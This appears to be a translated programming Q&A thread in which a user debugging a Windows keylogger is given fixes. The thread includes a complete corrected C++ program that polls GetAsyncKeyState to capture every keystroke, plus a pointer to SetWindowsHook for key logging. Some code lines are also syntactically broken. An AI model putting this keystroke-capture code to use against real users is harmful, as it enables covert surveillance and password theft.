问题描述
我正在设置键盘记录器,但不是出于恶意目的。
每当我在应用 switch
语句捕获特定的虚拟键代码后按下一个键时,我的缓冲区就会被我过滤的每个数字、字母、符号等完全填满。似乎出于某种原因,每当我按下一个键时,所有 switch
语句的 case
都会被击中。我如何解决它?这是下面的屏幕截图,可以让您直观地看到问题:
文件:main.cpp
while(true)
{
char key;
for (key = 8; key <= 255; key++)
{
Api._Sleep(20);
char _log[MAX_PATH];
KL::Log(key,_log);
Api._lstrcatA(_log,&key);
int len = Api._lstrlenA(_log);
if(len == MAX_PATH)
{
//dump routine
memset(_log,sizeof(_log));
}
}
}
文件:keylogger.cpp
void KL::Log(char key,char* logvar)
{
if (GetAsyncKeyState(key) == -32767)
{
bool shift_down = GetAsyncKeyState(VK_SHIFT);
switch (key)
{
case 0x08: logvar[lstrlenA(logvar) - 1] = '\0';
break;
case 0x09: lstrcatA(logvar,"[TAB]");
break;
case 0x0D: lstrcatA(logvar,"[NEWLINE]");
break;
case 0x13: lstrcatA(logvar,"[PAUSE]");
break;
case 0x14: lstrcatA(logvar,"[CAPS LOCK]");
break;
case 0x20: lstrcatA(logvar," ");
break;
case 0x25: lstrcatA(logvar,"[LARROW]");
break;
case 0x26: lstrcatA(logvar,"[UPARROW]");
break;
case 0x27: lstrcatA(logvar,"[RARROW]");
break;
case 0x28: lstrcatA(logvar,"[DARROW]");
break;
case 0x2E: lstrcatA(logvar,"[DELETE]");
break;
case 0x30: (!shift_down) ? lstrcatA(logvar,"0") : lstrcatA(logvar,")");
break;
case 0x31: (!shift_down) ? lstrcatA(logvar,"1") : lstrcatA(logvar,"!");
break;
case 0x32: (!shift_down) ? lstrcatA(logvar,"2") : lstrcatA(logvar,"@");
break;
case 0x33: (!shift_down) ? lstrcatA(logvar,"3") : lstrcatA(logvar,"#");
break;
case 0x34: (!shift_down) ? lstrcatA(logvar,"4") : lstrcatA(logvar,"$");
break;
case 0x35: (!shift_down) ? lstrcatA(logvar,"5") : lstrcatA(logvar,"%");
break;
case 0x36: (!shift_down) ? lstrcatA(logvar,"6") : lstrcatA(logvar,"^");
break;
case 0x37: (!shift_down) ? lstrcatA(logvar,"7") : lstrcatA(logvar,"&");
break;
case 0x38: (!shift_down) ? lstrcatA(logvar,"8") : lstrcatA(logvar,"*");
break;
case 0x39: (!shift_down) ? lstrcatA(logvar,"9") : lstrcatA(logvar,"(");
break;
case 0x41: (!shift_down) ? lstrcatA(logvar,"a") : lstrcatA(logvar,"A");
break;
case 0x42: (!shift_down) ? lstrcatA(logvar,"b") : lstrcatA(logvar,"B");
break;
case 0x43: (!shift_down) ? lstrcatA(logvar,"c") : lstrcatA(logvar,"C");
break;
case 0x44: (!shift_down) ? lstrcatA(logvar,"d") : lstrcatA(logvar,"D");
break;
case 0x45: (!shift_down) ? lstrcatA(logvar,"e") : lstrcatA(logvar,"E");
break;
case 0x46: (!shift_down) ? lstrcatA(logvar,"f") : lstrcatA(logvar,"F");
break;
case 0x47: (!shift_down) ? lstrcatA(logvar,"g") : lstrcatA(logvar,"G");
break;
case 0x48: (!shift_down) ? lstrcatA(logvar,"h") : lstrcatA(logvar,"H");
break;
case 0x49: (!shift_down) ? lstrcatA(logvar,"i") : lstrcatA(logvar,"I");
break;
case 0x4A: (!shift_down) ? lstrcatA(logvar,"j") : lstrcatA(logvar,"J");
break;
case 0x4B: (!shift_down) ? lstrcatA(logvar,"k") : lstrcatA(logvar,"K");
break;
case 0x4C: (!shift_down) ? lstrcatA(logvar,"l") : lstrcatA(logvar,"L");
break;
case 0x4D: (!shift_down) ? lstrcatA(logvar,"m") : lstrcatA(logvar,"M");
break;
case 0x4E: (!shift_down) ? lstrcatA(logvar,"n") : lstrcatA(logvar,"N");
break;
case 0x4F: (!shift_down) ? lstrcatA(logvar,"o") : lstrcatA(logvar,"O");
break;
case 0x50: (!shift_down) ? lstrcatA(logvar,"p") : lstrcatA(logvar,"P");
break;
case 0x51: (!shift_down) ? lstrcatA(logvar,"q") : lstrcatA(logvar,"Q");
break;
case 0x52: (!shift_down) ? lstrcatA(logvar,"r") : lstrcatA(logvar,"R");
break;
case 0x53: (!shift_down) ? lstrcatA(logvar,"s") : lstrcatA(logvar,"S");
break;
case 0x54: (!shift_down) ? lstrcatA(logvar,"t") : lstrcatA(logvar,"T");
break;
case 0x55: (!shift_down) ? lstrcatA(logvar,"u") : lstrcatA(logvar,"U");
break;
case 0x56: (!shift_down) ? lstrcatA(logvar,"v") : lstrcatA(logvar,"V");
break;
case 0x57: (!shift_down) ? lstrcatA(logvar,"w") : lstrcatA(logvar,"W");
break;
case 0x58: (!shift_down) ? lstrcatA(logvar,"x") : lstrcatA(logvar,"X");
break;
case 0x59: (!shift_down) ? lstrcatA(logvar,"y") : lstrcatA(logvar,"Y");
break;
case 0x5A: (!shift_down) ? lstrcatA(logvar,"z") : lstrcatA(logvar,"Z");
break;
case 0x60: (!shift_down) ? lstrcatA(logvar,"0");
break;
case 0x61: (!shift_down) ? lstrcatA(logvar,"1");
break;
case 0x62: (!shift_down) ? lstrcatA(logvar,"2");
break;
case 0x63: (!shift_down) ? lstrcatA(logvar,"3");
break;
case 0x64: (!shift_down) ? lstrcatA(logvar,"4");
break;
case 0x65: (!shift_down) ? lstrcatA(logvar,"5");
break;
case 0x66: (!shift_down) ? lstrcatA(logvar,"6");
break;
case 0x67: (!shift_down) ? lstrcatA(logvar,"7");
break;
case 0x68: (!shift_down) ? lstrcatA(logvar,"8");
break;
case 0x69: (!shift_down) ? lstrcatA(logvar,"9");
break;
case 0x6A: (!shift_down) ? lstrcatA(logvar,"*") : lstrcatA(logvar,"*");
break;
case 0x6B: (!shift_down) ? lstrcatA(logvar,"+") : lstrcatA(logvar,"+");
break;
case 0x6D: (!shift_down) ? lstrcatA(logvar,"-") : lstrcatA(logvar,"-");
break;
case 0x6E: (!shift_down) ? lstrcatA(logvar,".") : lstrcatA(logvar,".");
break;
case 0x6F: (!shift_down) ? lstrcatA(logvar,"/") : lstrcatA(logvar,"/");
break;
case 0xBA: (!shift_down) ? lstrcatA(logvar,";") : lstrcatA(logvar,":");
break;
case 0xBB: (!shift_down) ? lstrcatA(logvar,"=") : lstrcatA(logvar,"+");
break;
case 0xBC: (!shift_down) ? lstrcatA(logvar,",") : lstrcatA(logvar,"<");
break;
case 0xBD: (!shift_down) ? lstrcatA(logvar,"_");
break;
case 0xBE: (!shift_down) ? lstrcatA(logvar,">");
break;
case 0xBF: (!shift_down) ? lstrcatA(logvar,"?");
break;
case 0xC0: (!shift_down) ? lstrcatA(logvar,"`") : lstrcatA(logvar,"~");
break;
case 0xDB: (!shift_down) ? lstrcatA(logvar,"[") : lstrcatA(logvar,"{");
break;
case 0xDC: (!shift_down) ? lstrcatA(logvar,"\\") : lstrcatA(logvar,"|");
break;
case 0xDD: (!shift_down) ? lstrcatA(logvar,"]") : lstrcatA(logvar,"}");
break;
case 0xDE: (!shift_down) ? lstrcatA(logvar,"'") : lstrcatA(logvar,"\"");
break;
}
}
}
解决方法
_log
在循环的每次迭代中都被重新声明。因此,每个 strcat
操作只会覆盖之前存在的任何内容。但这没有实际意义,因为 _log
也没有初始化为空字符串。我猜你打算将 _log
声明为类成员变量而不是局部变量。
改变这个:
while(true)
{
char key;
for (key = 8; key <= 255; key++)
{
Api._Sleep(20);
char _log[MAX_PATH];
KL::Log(key,_log);
Api._lstrcatA(_log,&key);
int len = Api._lstrlenA(_log);
if(len == MAX_PATH)
{
//dump routine
memset(_log,sizeof(_log));
}
}
}
为此:
char _log[MAX_PATH] = {0}; // zero-init
// OR THIS if _log is a class variable:
// memset(_log,'\0',sizeof(_log));
while(true)
{
char key;
for (key = 8; key <= 255; key++)
{
Api._Sleep(20);
KL::Log(key,sizeof(_log));
}
}
}
不知道为什么在每次循环迭代中间有一个 20 毫秒的 sleep 语句。
,首先,您应该在 while 循环之外声明 _log
(它可以是全局的或局部的,这取决于您的需要)。
那么你不应该每次都用Api._lstrlenA(_log);
来写key
的值,这会让你的_log
记录所有的值。
你不应该使用Api._Sleep(20);
,因为这会影响键盘按下的判断。当按键被按下时,很可能当前的key
值与按下的键值不同,而 sleep 之后,程序错过了该键。
这是修改后的示例,它对我有用:
#include <iostream>
#include <windows.h>
using namespace std;
void Log(char key,char* logvar)
{
if (GetAsyncKeyState(key) & 0x01)
{
bool shift_down = GetAsyncKeyState(VK_SHIFT);
switch (key)
{
case 0x08: logvar[lstrlenA(logvar) - 1] = '\0';
break;
case 0x09: lstrcatA(logvar,"[TAB]");
break;
case 0x0D: lstrcatA(logvar,"[NEWLINE]");
break;
case 0x13: lstrcatA(logvar,"[PAUSE]");
break;
case 0x14: lstrcatA(logvar,"[CAPS LOCK]");
break;
case 0x20: lstrcatA(logvar," ");
break;
case 0x25: lstrcatA(logvar,"[LARROW]");
break;
case 0x26: lstrcatA(logvar,"[UPARROW]");
break;
case 0x27: lstrcatA(logvar,"[RARROW]");
break;
case 0x28: lstrcatA(logvar,"[DARROW]");
break;
case 0x2E: lstrcatA(logvar,"[DELETE]");
break;
case 0x30: (!shift_down) ? lstrcatA(logvar,"0") : lstrcatA(logvar,")");
break;
case 0x31: (!shift_down) ? lstrcatA(logvar,"1") : lstrcatA(logvar,"!");
break;
case 0x32: (!shift_down) ? lstrcatA(logvar,"2") : lstrcatA(logvar,"@");
break;
case 0x33: (!shift_down) ? lstrcatA(logvar,"3") : lstrcatA(logvar,"#");
break;
case 0x34: (!shift_down) ? lstrcatA(logvar,"4") : lstrcatA(logvar,"$");
break;
case 0x35: (!shift_down) ? lstrcatA(logvar,"5") : lstrcatA(logvar,"%");
break;
case 0x36: (!shift_down) ? lstrcatA(logvar,"6") : lstrcatA(logvar,"^");
break;
case 0x37: (!shift_down) ? lstrcatA(logvar,"7") : lstrcatA(logvar,"&");
break;
case 0x38: (!shift_down) ? lstrcatA(logvar,"8") : lstrcatA(logvar,"*");
break;
case 0x39: (!shift_down) ? lstrcatA(logvar,"9") : lstrcatA(logvar,"(");
break;
case 0x41: (!shift_down) ? lstrcatA(logvar,"a") : lstrcatA(logvar,"A");
break;
case 0x42: (!shift_down) ? lstrcatA(logvar,"b") : lstrcatA(logvar,"B");
break;
case 0x43: (!shift_down) ? lstrcatA(logvar,"c") : lstrcatA(logvar,"C");
break;
case 0x44: (!shift_down) ? lstrcatA(logvar,"d") : lstrcatA(logvar,"D");
break;
case 0x45: (!shift_down) ? lstrcatA(logvar,"e") : lstrcatA(logvar,"E");
break;
case 0x46: (!shift_down) ? lstrcatA(logvar,"f") : lstrcatA(logvar,"F");
break;
case 0x47: (!shift_down) ? lstrcatA(logvar,"g") : lstrcatA(logvar,"G");
break;
case 0x48: (!shift_down) ? lstrcatA(logvar,"h") : lstrcatA(logvar,"H");
break;
case 0x49: (!shift_down) ? lstrcatA(logvar,"i") : lstrcatA(logvar,"I");
break;
case 0x4A: (!shift_down) ? lstrcatA(logvar,"j") : lstrcatA(logvar,"J");
break;
case 0x4B: (!shift_down) ? lstrcatA(logvar,"k") : lstrcatA(logvar,"K");
break;
case 0x4C: (!shift_down) ? lstrcatA(logvar,"l") : lstrcatA(logvar,"L");
break;
case 0x4D: (!shift_down) ? lstrcatA(logvar,"m") : lstrcatA(logvar,"M");
break;
case 0x4E: (!shift_down) ? lstrcatA(logvar,"n") : lstrcatA(logvar,"N");
break;
case 0x4F: (!shift_down) ? lstrcatA(logvar,"o") : lstrcatA(logvar,"O");
break;
case 0x50: (!shift_down) ? lstrcatA(logvar,"p") : lstrcatA(logvar,"P");
break;
case 0x51: (!shift_down) ? lstrcatA(logvar,"q") : lstrcatA(logvar,"Q");
break;
case 0x52: (!shift_down) ? lstrcatA(logvar,"r") : lstrcatA(logvar,"R");
break;
case 0x53: (!shift_down) ? lstrcatA(logvar,"s") : lstrcatA(logvar,"S");
break;
case 0x54: (!shift_down) ? lstrcatA(logvar,"t") : lstrcatA(logvar,"T");
break;
case 0x55: (!shift_down) ? lstrcatA(logvar,"u") : lstrcatA(logvar,"U");
break;
case 0x56: (!shift_down) ? lstrcatA(logvar,"v") : lstrcatA(logvar,"V");
break;
case 0x57: (!shift_down) ? lstrcatA(logvar,"w") : lstrcatA(logvar,"W");
break;
case 0x58: (!shift_down) ? lstrcatA(logvar,"x") : lstrcatA(logvar,"X");
break;
case 0x59: (!shift_down) ? lstrcatA(logvar,"y") : lstrcatA(logvar,"Y");
break;
case 0x5A: (!shift_down) ? lstrcatA(logvar,"z") : lstrcatA(logvar,"Z");
break;
case 0x60: (!shift_down) ? lstrcatA(logvar,"0");
break;
case 0x61: (!shift_down) ? lstrcatA(logvar,"1");
break;
case 0x62: (!shift_down) ? lstrcatA(logvar,"2");
break;
case 0x63: (!shift_down) ? lstrcatA(logvar,"3");
break;
case 0x64: (!shift_down) ? lstrcatA(logvar,"4");
break;
case 0x65: (!shift_down) ? lstrcatA(logvar,"5");
break;
case 0x66: (!shift_down) ? lstrcatA(logvar,"6");
break;
case 0x67: (!shift_down) ? lstrcatA(logvar,"7");
break;
case 0x68: (!shift_down) ? lstrcatA(logvar,"8");
break;
case 0x69: (!shift_down) ? lstrcatA(logvar,"9");
break;
case 0x6A: (!shift_down) ? lstrcatA(logvar,"*") : lstrcatA(logvar,"*");
break;
case 0x6B: (!shift_down) ? lstrcatA(logvar,"+") : lstrcatA(logvar,"+");
break;
case 0x6D: (!shift_down) ? lstrcatA(logvar,"-") : lstrcatA(logvar,"-");
break;
case 0x6E: (!shift_down) ? lstrcatA(logvar,".") : lstrcatA(logvar,".");
break;
case 0x6F: (!shift_down) ? lstrcatA(logvar,"/") : lstrcatA(logvar,"/");
break;
case 0xBA: (!shift_down) ? lstrcatA(logvar,";") : lstrcatA(logvar,":");
break;
case 0xBB: (!shift_down) ? lstrcatA(logvar,"=") : lstrcatA(logvar,"+");
break;
case 0xBC: (!shift_down) ? lstrcatA(logvar,",") : lstrcatA(logvar,"<");
break;
case 0xBD: (!shift_down) ? lstrcatA(logvar,"_");
break;
case 0xBE: (!shift_down) ? lstrcatA(logvar,">");
break;
case 0xBF: (!shift_down) ? lstrcatA(logvar,"?");
break;
case 0xC0: (!shift_down) ? lstrcatA(logvar,"`") : lstrcatA(logvar,"~");
break;
case 0xDB: (!shift_down) ? lstrcatA(logvar,"[") : lstrcatA(logvar,"{");
break;
case 0xDC: (!shift_down) ? lstrcatA(logvar,"\\") : lstrcatA(logvar,"|");
break;
case 0xDD: (!shift_down) ? lstrcatA(logvar,"]") : lstrcatA(logvar,"}");
break;
case 0xDE: (!shift_down) ? lstrcatA(logvar,"'") : lstrcatA(logvar,"\"");
break;
}
}
}
int main(int argc,const char* argv[])
{
char _log[MAX_PATH]{};
while (true)
{
char key;
for (key = 8; key <= 255; key++)
{
//Sleep(20);
Log(key,_log);
//char buf[2] = { key,'\0' };
//lstrcatA(_log,buf);
int len = lstrlenA(_log);
if (len == MAX_PATH)
{
//dump routine
memset(_log,sizeof(_log));
}
}
}
return 0;
}
当然这会造成你说的CPU占用问题,所以建议你使用SetWindowsHook
来实现key logging。
您可以参考此线程:C++/Win32: Keyboard input to a non-foreground window